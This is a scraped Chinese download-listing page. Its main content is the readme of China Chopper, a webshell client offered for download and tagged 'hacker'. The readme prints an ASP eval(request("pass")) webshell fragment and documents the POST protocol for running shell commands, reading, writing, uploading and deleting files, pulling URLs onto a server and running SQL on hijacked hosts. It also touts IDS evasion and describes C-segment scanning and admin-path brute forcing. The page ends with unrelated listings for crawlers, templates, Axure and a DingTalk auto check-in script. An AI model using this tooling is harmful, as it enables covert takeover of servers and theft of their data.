产品名称:中国菜刀(Chinachopper)生产厂家:中国菜刀贸易有限公司厂家地址:http://www.maicaidao.com/----------------------------------------------------------------------------------------------------------免责申明: 请使用者注意使用环境并遵守国家相关法律法规! 由于使用不当造成的后果本厂家不承担任何责任!----------------------------------------------------------------------------------------------------------友情提示:程序在使用过程中难免有各种BUG,到官网看一下是否有更新吧,说不定己经修补了呢。
UINCODE方式编译,支持多国语言输入显示。
在非简体中文环境下使用,自动更换成英文界面,翻译有误的地方请留言指正。
一、脚本客户端(包括但不限于EVAL)部分  1)要了解的  服务端只需要简单的一行代码,即可用此程序实现常用的管理功能,功能代码二次编码后发送,过IDS的能力大幅提高。
  目前支持的服务端脚本:PHP,ASP,ASP.NET,并且支持https安全连接的网站。
  在服务端运行的代码如下:  PHP:  ASP:  ASP.NET: (注意:ASP.NET要单独一个文件或此文件也是Jscript语言)  Customize: 自定义类型,功能代码在服务端保存,理论上支持所有动态脚本,只要正确与菜刀进行交互即可。
  2)怎么用  在主视图中右键/添加,在弹出的对话框中输入服务端地址,连接的密码(请注意上例中的pass字串),选择正确的脚本类型和语言编码,  保存后即可使用文件管理,虚拟终端,数据库管理三大块功能,同时支持自定义的脚本执行,并可以导入导出数据。
  要是其它都没错误,那么可能就是你把语言编码选错了。
  1.文件管理:[特色]缓存下载目录,并支持离线查看缓存目录;  2.虚拟终端:[特色]人性化的设计,操作方便;(输入HELP查看更多用法)  3.数据库管理:[特色]图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS 以及支持ADO方式连接的数据库。
(各种脚本条件下的数据库连接方法请点击数据库管理界面左上角处的配置按钮查看)  注意:由于服务器的安全设置,某些功能可能不能正常使用。
  3)关于配置信息怎么填? A)数据库方面: PHP脚本: 类型类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种 主机地址主机地址可为机器名或IP地址,如localhost 数据库用户连接数据库的用户名,如root 数据库密码连接数据库的密码,如123455 ASP和ASP.NET脚本: 类型类型只能填ADO ADO配置信息 ADO连接各种数据库的方式不一样。
如MSSQL的配置信息为 Driver={SqlServer};Server=(local);Database=master;Uid=sa;Pwd=123456; 同时,支持NT验证登录MSSQL数据库,并能把查询的结果列表导出为html文件 Customize脚本: 类型类型只能填XDB 与Customize脚本约定的配置信息 菜刀自带的server.jsp数据库参数填写方法如下(两行): MSSQL:com.microsoft.sqlserver.jdbc.SQLServerDriverjdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456 MYSQL:com.mysql.jdbc.Driverjdbc:mysql://localhost/test?user=root&password=123456 ORACLE:oracle.jdbc.driver.OracleDriverjdbc:oracle:thin:user/password@127.0.0.1:1521/test B)其它方面: 添加额外附加提交的数据,如ASP的新服务端是这样的: 那么,菜刀在配置处填入: SC=function+ff(Server,Response,Request,Application,Session,Error):eval(request("pass")):end+function 然后以密码pass来连接即可。
提交功能前先POST额外的数据包:会话期间只提交一次。
https://target.com/cgi-bin/login.cgi uid=user1&pwd=123456  3)关于HTTP登录验证 SHELL地址这样填http://user:pass@server/server.asp 用户名密码中的特殊字符可用URL编码转换。
二、安全扫描  蜘蛛爬行,绑定域名查询,目录爆破。
  命令解释: A)查单一IP的绑定域名 {reverse_ip}{url:http://www.test.com/} B)扫描本C段开放的WEB服务器,并查询绑定域名 {reverse_ip_c}{url:http://www.test.com/} C)只扫描本C段开放的WEB服务器 {reverse_ip_c}{url:http://www.test.com/}{port} D)蜘蛛爬行 {spider}{url:http://www.test.com/} E)蜘蛛爬行,并设定爬行范围 {spider}{url:http://www.test.com/}{range:test.com} F)蜘蛛爬行,过滤重复URL加快速度 加上{filter} G)爆破功能,%s为dict中的一行 flag:后面为返回的数据(含HTTP头部)中的特定关键字 加!!为不包含关键字为TRUE,否则包含关键字为TRUE list.txt为当前目录下的文件,可设为绝对路径,注意:不要包含太多的行。
注:从20100626版开始,list.txt一定要是UNICODE格式的文本文件 {crack}{url:http://%s/admin/}{flag:HTTP/1.1200}{dict:list.txt} {crack}{url:http://%s/admin/}{flag:!!HTTP/1.1404}{dict:list.txt} {crack}{url:http://www.test.com/%s/}{flag:successfully}{dict:list.txt}三、定时提醒  当闹钟来用吧,周期:每月/每周/每日/只一次。
四、快速启动  一些常用的快捷方式放在这里,可以指定用户身份运行程序。
这部分数据是加密存储的。
五、浏览器  就是一个专用的网页浏览器:Post浏览/自定义Cookies,/执行自定义脚本/自动刷新页面/同IP网页搜索。
六、其它部分  等待加入。
文件说明:------------------------------------------------------------------chopper.exe 菜刀程序db.mdb 菜刀的主数据库------------------------------------------------------------------cache.tmp 菜刀的缓存数据库(可删除)readme.txt 你现在正在看的(可删除)[目录]Script 存放菜刀的自写脚本和Customize模式Jsp的一个服务端文件(可删除)----附---------------------------Customize模式菜刀和服务端通信接口---------------------------------------------------------------------------------------------------其它语言的服务端代码可按此接口来编写(请参照server.jsp/server.cfm)---------------------例:菜刀客户端填写的密码为pass,网页编码选的是GB2312注:所有参数都以POST提交,返回的数据都要以->|为开始标记,|<-为结束标记注:返回的错误信息开头包含ERROR://注:\t代表制表符TAB,\r\n代表换行回车,\n代表回车注:数据库配置信息是一个字符串,服务端脚本可以对此字符串格式进行自定义。
--------------------------------------------------------------------------------------------------------------------------------------------------------[得到当前目录的绝对路径]提交:pass=A&z0=GB2312返回:目录的绝对路径\t,如果是Windows系统后面接着加上驱动器列表示例:c:\inetpub\wwwroot\ C:D:E:K:示例:/var/www/html/ [目录浏览]提交:pass=B&z0=GB2312&z1=目录绝对路径返回:先目录后文件,目录名后要加/,文件名后不要加/示例: 目录名/\t时间\t大小\t属性\n目录名/\t时间\t大小\t属性\n 文件名\t时间\t大小\t属性\n文件名\t时间\t大小\t属性\n[读取文本文件]提交:pass=C&z0=GB2312&z1=文件绝对路径返回:文本文件的内容[写入文本文件]提交:pass=D&z0=GB2312&z1=文件绝对路径&z2=文件内容返回:成功返回1,不成功返回错误信息[删除文件或目录]提交:pass=E&z0=GB2312&z1=文件或目录的绝对路径返回:成功返回1,不成功返回错误信息[下载文件]提交:pass=F&z0=GB2312&z1=服务器文件的绝对路径返回:要下载文件的内容[上传文件]提交:pass=G&z0=GB2312&z1=文件上传后的绝对路径&z2=文件内容(十六进制文本格式)返回:要下载文件的内容[复制文件或目录后粘贴]提交:pass=H&z0=GB2312&z1=复制的绝对路径&z2=粘贴的绝对路径返回:成功返回1,不成功返回错误信息[文件或目录重命名]提交:pass=I&z0=GB2312&z1=原名(绝对路径)&z2=新名(绝对路径)返回:成功返回1,不成功返回错误信息[新建目录]提交:pass=J&z0=GB2312&z1=新目录名(绝对路径)返回:成功返回1,不成功返回错误信息[修改文件或目录时间]提交:pass=K&z0=GB2312&z1=文件或目录的绝对路径&z2=时间(格式:yyyy-MM-ddHH:mm:ss)返回:成功返回1,不成功返回错误信息[下载文件到服务器]提交:pass=L&z0=GB2312&z1=URL路径&z2=下载后保存的绝对路径返回:成功返回1,不成功返回错误信息[执行Shell命令(Shell路径前会根据服务器系统类型加上-c或/c参数)]提交:pass=M&z0=GB2312&z1=(-c或/c)加Shell路径&z2=Shell命令返回:命令执行结果[得到数据库基本信息]提交:pass=N&z0=GB2312&z1=数据库配置信息返回:成功返回数据库(以制表符\t分隔),不成功返回错误信息[获取数据库表名]提交:pass=O&z0=GB2312&z1=数据库配置信息\r\n数据库名返回:成功返回数据表(以\t分隔),不成功返回错误信息[获取数据表列名]提交:pass=P&z0=GB2312&z1=数据库配置信息\r\n数据库名\r\n数据表名返回:成功返回数据列(以制表符\t分隔),不成功返回错误信息[执行数据库命令]提交:pass=Q&z0=GB2312&z1=数据库配置信息\r\n数据库名&z2=SQL命令返回:成功返回数据表内容,不成功返回错误信息注意:返回的第一行为表头,接下去每行分别在列表中显示,列数要求一致。
行中的每列后加上\t|\t标记,每行以标记\r\n为结束
2024/10/23 12:54:30 197KB hacker
1
使用C#开发的应用程序用于爬取制定网址的页面信息,简单实用,,可扩张性高。
技术使用了HttpWebRequest对去网址的信息提取,用正则表达式去筛选内容.......
2024/10/22 21:07:30 29KB C# 爬虫
1
本项目是基于Android平台的软件开发,其中包括毕业论文。
项目最终实现了用户登录、查看菜单、点菜功能、菜单管理等点餐系统的基本功能,并且系统能够正常运行,各个页面交互性较好。
2024/10/22 21:08:31 4.09MB 安卓项目
1
AxureRPPro是一个产品经理必备的交互原型设计工具,能够高效率制作产品原型,快速绘制线框图、流程图、网站架构图、示意图、HTML模版等。
AxureRPPro是专为RapidPrototypeDesign而生,它可以辅助产品经理快速设计完整的产品原型,并结合批注、说明以及流程图、框架图等元素将产品完整地表述给各方面设计人员,如UI、UE等等,并在讨论中不断完善。
作为办公自动化辅助工具,AxureRPPro更适合WebPrototype制作,AxureRP7Beta在AxureRP6基础上做了比较多的改进,旨在提高原型设计效率,包括重新组织界面功能、自适应视图、新增多个形状、样式、事件等,具体可见这里的介绍。
使用说明:2013/12/27更新版本为AxureRPPro7.0.0.3142(正式版)汉化绿色版,解压后先运行!)AxureRPPorable.exe完成初始化,然后执行主程序AxureRP.exe即可,新版本Axure7优化了界面和操作,明显了提高绘图效率,并可以直接预览(F5)而无需生成原型文件。
Axure7的汉化补丁由WebPPD社区best919制作,注意使用AxureRPPro7之前必须先安装.NETFramework4.0,并最好安装MicrosoftOfficeWord、Excel和PowerPoint文件格式兼容包。
知乎用户梁柱华总结的Axure7.0的新功能和新特性:增加了预览选项,能够设置在预览和生成原型时是否最小化或不带有左侧的站点地图导航;
优化了界面和操作,明显提高绘制效率,可直接在控件上改变形状,同时加入了几个常用形状;
支持了投影和内阴影,可以用来画简单的组件;
支持更多的触发事件,动态面板也可以onclick了;
普通形状也能增加事件效果,例如要移动一个形状,不需要转化成动态面板;
事件用例感觉也有所变化,增加了一些参数,例如切换动态面板状态时有更多的参数可以选择;
增加了和Justinmind一样的实时预览功能,再也不用一遍又一遍地生成页面了;
内容自适应,例如动态面板或文字块能根据内容自动适应到合适大小;
强化的表格功能Repeater,可以自动填充数据,对数据进行排序,过滤等操作;
页面级的参数Onreszie,这样在手机测试时可以作为横竖屏判断;
响应式布局,可以定义不同窗口大小下的布局结构。
AxureRPistheleadingtoolforrapidlycreatingwireframes,prototypesandspecificationsforapplicationsandwebsites.Quicklygetthebenefitsofprototypingwithoutalotofhassle.Axure7.0.0.3142更新日志:FixedsomemoreWebFontandTypefacescenariosonAxShareFixedclicksnotbubblingthroughobjectswhentheyhaveasatisfiedCondition
2024/10/22 12:38:37 6.97MB Axure 汉化 原型设计 产品经理
1
IOS端是埋点技术方案,可落地实施的。
包括整体概述、应用启动退出、页面浏览事件、控件点击事件、用户标志、数据采集数据同步存储等等技术知识点。
2024/10/21 18:18:17 18.64MB 大数据 IOS埋点 埋点 数据分析
1
这是吉林大学软件学院的软构件与中间件JavaEE课程设计,要求是一个在线考试系统,使用jpa,jsf,托管bean,会话bean等技术。
资源内容包括:1.题目要求2.实现代码3.建数据库sql文件4.报告(报告中包括数据库表设计,类设计,页面设计及交互,用例图等。
)分享给学弟学妹们。
2024/10/21 16:53:18 3.02MB jsf jpa 托管bean 会话bean
1
1.直接后台主题安装,然后启用就可以了(或者把文件解压,把文件夹上传到主题wp-content/themes/目录下,然后进入网站后台-外观-主题,启用该主题)。
2.LOGO修改,把制作好的logo.png通过ftp上传到wp-content/themes/images/目录下,替换原有文件即可。
?3.设置菜单,主题默认两个导航:一个头部导航,一个底部导航。
两个菜单,右侧的菜单3和菜单4,新建完栏目或页面后,你就可以生成菜单,然后管理位置,把导航和菜单放到相应的位置即可。
4.小工具设置:5.32更新版的小工具请不要用“搜索”,因为已集成的模板。
5.页面设置,新建页面,选择模板,“page"为默认模板。
“link”为友情连接模板(不加内容,直接发布,然后在后台左侧"菜单-链接"处,即可发布更新友情连接)。
“wp-tag-colude”为标签模板,不加内容,直接发布。
?“contribute”为投稿页面,文本模式下添加内容:[DX-Contribute],连接的别名为:contribute,然后发布即可。
6.?首页关健词和描述设置,"外观-编辑-header"文件,找到"关健词"和“描述”,然后加上可以了,关健词记住有逗号隔开,?文章间关健词和描述设置:在新建文章处,打开自定义栏目功能,在下面新建keywords栏目,填上关健词即可。
新建description栏目,填上描述即可。
2024/10/21 7:03:34 257KB wordpress 主题 前端 博客
1
心跑步:安装pipenv安装python库:在该项目的目录中:pipenvinstall运行烧瓶应用程序pipenvrunflaskrun发展上面安装之后,用于开发:FLASK_ENV=developmentpipenvrunflaskrun在另一个终端:在〜/$WORKSPACE/app/static/npmrunwatch当您在开发过程中更改源代码时,这两个命令都将确保实时重新加载后端/前端代码。
请注意,尽管如此,您仍然必须刷新页面才能看到javascript的更改。
测验pyenv运行pytest应用程序/测试/待办事项清单在代码库中搜索所有“待办事项”以获取更多想法。
使用websocket实时执行操作验证动作(例如必须效仿)添加游戏的“交换卡”部分。
保持得分在游戏中添加多个回合的概
2024/10/20 16:23:50 9.11MB Python
1
检查或修复数据库:对所有数据表进行检查修复工作。
快速设置(SQL):可以运行任意SQL语句,请慎用。
编码检测修复:对所有数据表进行编码检查和修复。
修改配置文件:配置文件修改助手导入数据库备份:一次性导入论坛数据备份。
找回管理员:将把您指定的会员设置为管理员,也可以重新设置密码。
社区医生:自动检查您的论坛配置文件情况,系统环境信息以及错误报告。
搜索未知文件:检查论坛程序目录下的非Discuz!官方文件。
修复最后回复:修复版块最后回复。
批量修复主题:某些帖子页面会出现未定义操作,可以用批量修复主题的功能修复下。
数据库冗余数据清理:对您的数据进行有效性检查,删除冗余数据信息。
附件保存方式:将您现在的附件存储方式按照指定方式进行目录结构调整并重新存储。
应用过滤规则:按照论坛后台中设置的词语过滤列表,可选择性的对所有帖子进行处理,帖子将按照过滤规则进行处理。
更新缓存:清除缓存。
2024/10/20 7:15:03 18KB dz discuz x3.1 tools
1
基于Infopath实现WEB动态表单.初次接触Infopath,我就被它的强大的功能,灵活的表单制作方式,全面对WebServices的支持等特点深深的吸引了。
曾经尝试用Infopath来完成一些MIS项目,Infopath却有一些我们难以逾越的障碍,使得无法方便的和项目紧密结合。
主要是有以下几个方面使得Infopath不能和项目有效的结合:Infopath只能在Infopath本身的程序中填写表单(这个问题去年我曾经解决过,参考Infoview的实现方式)不能有效的和外部环境结合,比如ASPX页面中的变量,工作流引擎的信息。
实现复杂的数据存取,存在一些困难,需要进行大量的代码编写。
和我们传统MIS系统的开发模式有一定出入,Infopath数据源的设计不是很方便。
不能通过该工具直接对数据库结构的定义。
2024/10/17 16:54:34 1.66MB Infopath forms
1
共 1000 条记录 首页 上一页 下一页 尾页
在日常工作中,钉钉打卡成了我生活中不可或缺的一部分。然而,有时候这个看似简单的任务却给我带来了不少烦恼。 每天早晚,我总是得牢记打开钉钉应用,点击"工作台",再找到"考勤打卡"进行签到。有时候因为工作忙碌,会忘记打卡,导致考勤异常,影响当月的工作评价。而且,由于我使用的是苹果手机,有时候系统更新后,钉钉的某些功能会出现异常,使得打卡变得更加麻烦。 另外,我的家人使用的是安卓手机,他们也经常抱怨钉钉打卡的繁琐。尤其是对于那些不太熟悉手机操作的长辈来说,每次打卡都是一次挑战。他们总是担心自己会操作失误,导致打卡失败。 为了解决这些烦恼,我开始思考是否可以通过编写一个全自动化脚本来实现钉钉打卡。经过一段时间的摸索和学习,我终于成功编写出了一个适用于苹果和安卓系统的钉钉打卡脚本。
2024-04-09 15:03 15KB 钉钉 钉钉打卡